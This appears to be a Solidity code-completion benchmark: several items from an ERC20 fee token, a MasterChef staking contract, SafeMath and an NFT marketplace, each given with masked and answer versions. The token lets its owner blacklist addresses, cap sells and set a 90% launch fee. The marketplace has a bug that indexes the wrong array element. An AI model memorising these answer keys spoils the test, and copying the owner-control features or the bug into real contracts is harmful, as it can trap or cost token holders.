removeAllFee() private { if(_taxFee == 0 && _bullsFee == 0) return; _previousTaxFee = _taxFee; _previousbullsFee = _bullsFee; _taxFee = 0; _bullsFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _bullsFee = _previousbullsFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); require(amount <= _maxBuyAmount); _taxFee = 0; _bullsFee = _BuyFee; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { _bullsFee = 90; } } } // sell if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(amount <= _maxSellAmount); _taxFee = 0; _bullsFee = _SellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } <FILL_FUNCTION> function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _FeeAddress2.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _bullsFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 BullsFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(BullsFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 100000000 * 10**9; // TX LIMIT _maxSellAmount = 1000000 * 10**9; // 1% TX LIMIT _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() { _maxBuyAmount = maxBuy; _maxSellAmount = maxSell; } function setBullishHour(bool enabled) external onlyOwner() { if (enabled) {_SellFee = 16; _BuyFee = 0; } else { _SellFee = 8; _BuyFee = 8; } } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp );
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
11527
K33perMasterChef
pendingK33per
contract K33perMasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of K33pers // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accK33perPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accK33perPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. K33pers to distribute per block. uint256 lastRewardBlock; // Last block number that K33pers distribution occurs. uint256 accK33perPerShare; // Accumulated K33pers per share, times 1e12. See below. } // The K33per2 TOKEN! K33per_Token public K33per; // Dev address. address public devaddr; // Block number when bonus K33per period ends. uint256 public bonusEndBlock; // K33per tokens created per block. uint256 public K33perPerBlock; // Bonus muliplier for early K33per makers. uint256 public bonusMultiplier; // no bonus // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when K33per mining starts. uint256 public startBlock; // The block number when K33per mining ends. uint256 public endBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( K33per_Token _K33per, address _devaddr, uint256 _K33perPerBlock, uint256 _startBlock, uint256 _endBlock, uint256 _bonusMultiplier ) public { K33per = _K33per; devaddr = _devaddr; K33perPerBlock = _K33perPerBlock; startBlock = _startBlock; bonusEndBlock = _startBlock.add(30000); endBlock = _endBlock; bonusMultiplier = _bonusMultiplier; } function poolLength() external view returns (uint256) { return poolInfo.length; } function setK33perPerBlock(uint256 _K33perPerBlock) public onlyOwner { K33perPerBlock = _K33perPerBlock; } function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner { bonusMultiplier = _bonusMultiplier; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } function setEndBlock(uint256 _endBlock) public onlyOwner { endBlock = _endBlock; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accK33perPerShare: 0 })); } // Update the given pool's K33per allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(bonusMultiplier); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(bonusMultiplier).add( _to.sub(bonusEndBlock) ); } } // View function to see pending K33pers on frontend. function pendingK33per(uint256 _pid, address _user) external view returns (uint256) {<FILL_FUNCTION_BODY> } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } if (block.number > endBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint); K33per.mint(devaddr, K33perReward.div(25)); // 4% K33per.mint(address(this), K33perReward); pool.accK33perPerShare = pool.accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for K33per allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt); safeK33perTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt); safeK33perTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe K33per transfer function, just in case if rounding error causes pool to not have enough K33pers. function safeK33perTransfer(address _to, uint256 _amount) internal { uint256 K33perBal = K33per.balanceOf(address(this)); if (_amount > K33perBal) { K33per.transfer(_to, K33perBal); } else { K33per.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wtf?"); devaddr = _devaddr; } }
contract K33perMasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of K33pers // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accK33perPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accK33perPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. K33pers to distribute per block. uint256 lastRewardBlock; // Last block number that K33pers distribution occurs. uint256 accK33perPerShare; // Accumulated K33pers per share, times 1e12. See below. } // The K33per2 TOKEN! K33per_Token public K33per; // Dev address. address public devaddr; // Block number when bonus K33per period ends. uint256 public bonusEndBlock; // K33per tokens created per block. uint256 public K33perPerBlock; // Bonus muliplier for early K33per makers. uint256 public bonusMultiplier; // no bonus // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when K33per mining starts. uint256 public startBlock; // The block number when K33per mining ends. uint256 public endBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( K33per_Token _K33per, address _devaddr, uint256 _K33perPerBlock, uint256 _startBlock, uint256 _endBlock, uint256 _bonusMultiplier ) public { K33per = _K33per; devaddr = _devaddr; K33perPerBlock = _K33perPerBlock; startBlock = _startBlock; bonusEndBlock = _startBlock.add(30000); endBlock = _endBlock; bonusMultiplier = _bonusMultiplier; } function poolLength() external view returns (uint256) { return poolInfo.length; } function setK33perPerBlock(uint256 _K33perPerBlock) public onlyOwner { K33perPerBlock = _K33perPerBlock; } function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner { bonusMultiplier = _bonusMultiplier; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } function setEndBlock(uint256 _endBlock) public onlyOwner { endBlock = _endBlock; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accK33perPerShare: 0 })); } // Update the given pool's K33per allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(bonusMultiplier); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(bonusMultiplier).add( _to.sub(bonusEndBlock) ); } } <FILL_FUNCTION> // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } if (block.number > endBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint); K33per.mint(devaddr, K33perReward.div(25)); // 4% K33per.mint(address(this), K33perReward); pool.accK33perPerShare = pool.accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for K33per allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt); safeK33perTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt); safeK33perTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe K33per transfer function, just in case if rounding error causes pool to not have enough K33pers. function safeK33perTransfer(address _to, uint256 _amount) internal { uint256 K33perBal = K33per.balanceOf(address(this)); if (_amount > K33perBal) { K33per.transfer(_to, K33perBal); } else { K33per.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wtf?"); devaddr = _devaddr; } }
PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accK33perPerShare = pool.accK33perPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accK33perPerShare = accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accK33perPerShare).div(1e12).sub(user.rewardDebt);
function pendingK33per(uint256 _pid, address _user) external view returns (uint256)
// View function to see pending K33pers on frontend. function pendingK33per(uint256 _pid, address _user) external view returns (uint256)
26028
ERC20Token
increaseApproval
contract ERC20Token is BasicToken, ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) allowed; function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {<FILL_FUNCTION_BODY> } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract ERC20Token is BasicToken, ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) allowed; function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } <FILL_FUNCTION> function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success)
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success)
9789
SafeMath
safeDiv
contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) {<FILL_FUNCTION_BODY> } }
contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } <FILL_FUNCTION> }
require(b > 0); c = a / b;
function safeDiv(uint a, uint b) public pure returns (uint c)
function safeDiv(uint a, uint b) public pure returns (uint c)
35173
Bussiness
setPriceFeeEth
contract Bussiness is Ownable { address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F); IERC721 public erc721Address = IERC721(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d); ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba); uint256 public ETHFee = 0; // 25 = 2,5 % uint256 public Percen = 1000; uint256 public HBWALLETExchange = 21; // cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2 uint256 public limitETHFee = 0; uint256 public limitHBWALLETFee = 0; uint256 public hightLightFee = 10000000000000000; constructor() public {} struct Price { address payable tokenOwner; uint256 price; uint256 fee; uint256 hbfee; bool isHightlight; } uint[] public arrayTokenIdSale; mapping(uint256 => Price) public prices; /** * @dev Throws if called by any account other than the ceo address. */ modifier onlyCeoAddress() { require(msg.sender == ceoAddress); _; } // Move the last element to the deleted spot. // Delete the last element, then correct the length. function _burnArrayTokenIdSale(uint index) internal { if (index >= arrayTokenIdSale.length) return; for (uint i = index; i<arrayTokenIdSale.length-1; i++){ arrayTokenIdSale[i] = arrayTokenIdSale[i+1]; } delete arrayTokenIdSale[arrayTokenIdSale.length-1]; arrayTokenIdSale.length--; } function _burnArrayTokenIdSaleByArr(uint[] memory arr) internal { for(uint i; i<arr.length; i++){ _burnArrayTokenIdSale(i); } } function ownerOf(uint256 _tokenId) public view returns (address){ return erc721Address.ownerOf(_tokenId); } function balanceOf() public view returns (uint256){ return address(this).balance; } function getApproved(uint256 _tokenId) public view returns (address){ return erc721Address.getApproved(_tokenId); } function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint256 _hbfee, bool _isHightLight) internal { prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight); arrayTokenIdSale.push(_tokenId); } function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable {<FILL_FUNCTION_BODY> } function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public returns (bool){ require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice); uint256 fee; uint256 ethfee; uint256 _hightLightFee = 0; if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) { _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16); } if (prices[_tokenId].price < _ethPrice) { ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen; fee = ethfee * HBWALLETExchange / 2 / (10 ** 16); // ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18) if(prices[_tokenId].price == 0) { if (fee >= limitHBWALLETFee) { require(hbwalletToken.transferFrom(msg.sender, address(this), fee + _hightLightFee)); } else { require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee + _hightLightFee)); fee = limitHBWALLETFee; } } fee += prices[_tokenId].hbfee; } else { ethfee = _ethPrice * ETHFee / Percen; fee = ethfee * HBWALLETExchange / 2 / (10 ** 16); } setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight); return true; } function removePrice(uint256 tokenId) public returns (uint256){ require(erc721Address.ownerOf(tokenId) == msg.sender); if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee); else if (prices[tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[tokenId].hbfee); resetPrice(tokenId); return prices[tokenId].price; } function setFee(uint256 _ethFee, uint256 _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint256, uint256){ require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0); ETHFee = _ethFee; HBWALLETExchange = _HBWALLETExchange; hightLightFee = _hightLightFee; return (ETHFee, HBWALLETExchange, 